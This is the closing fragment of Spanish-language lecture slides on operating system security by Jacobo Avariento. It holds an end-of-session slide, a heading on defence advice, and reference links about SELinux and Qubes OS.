Fin de la sesi´on
exit(EXIT SUCCESS);
Jacobo Avariento Seguridad en Sistemas Operativos
90. Seguridad en Sistemas Operativos
Defensa: Consejos generales
(C) and references:
http://www.flickr.com/photos/littlegirllost1/1489744918/
http://www.ibm.com/developerworks/linux/library/l-selinux/
http://qubes-os.org/Home.html
Jacobo Avariento Seguridad en Sistemas Operativos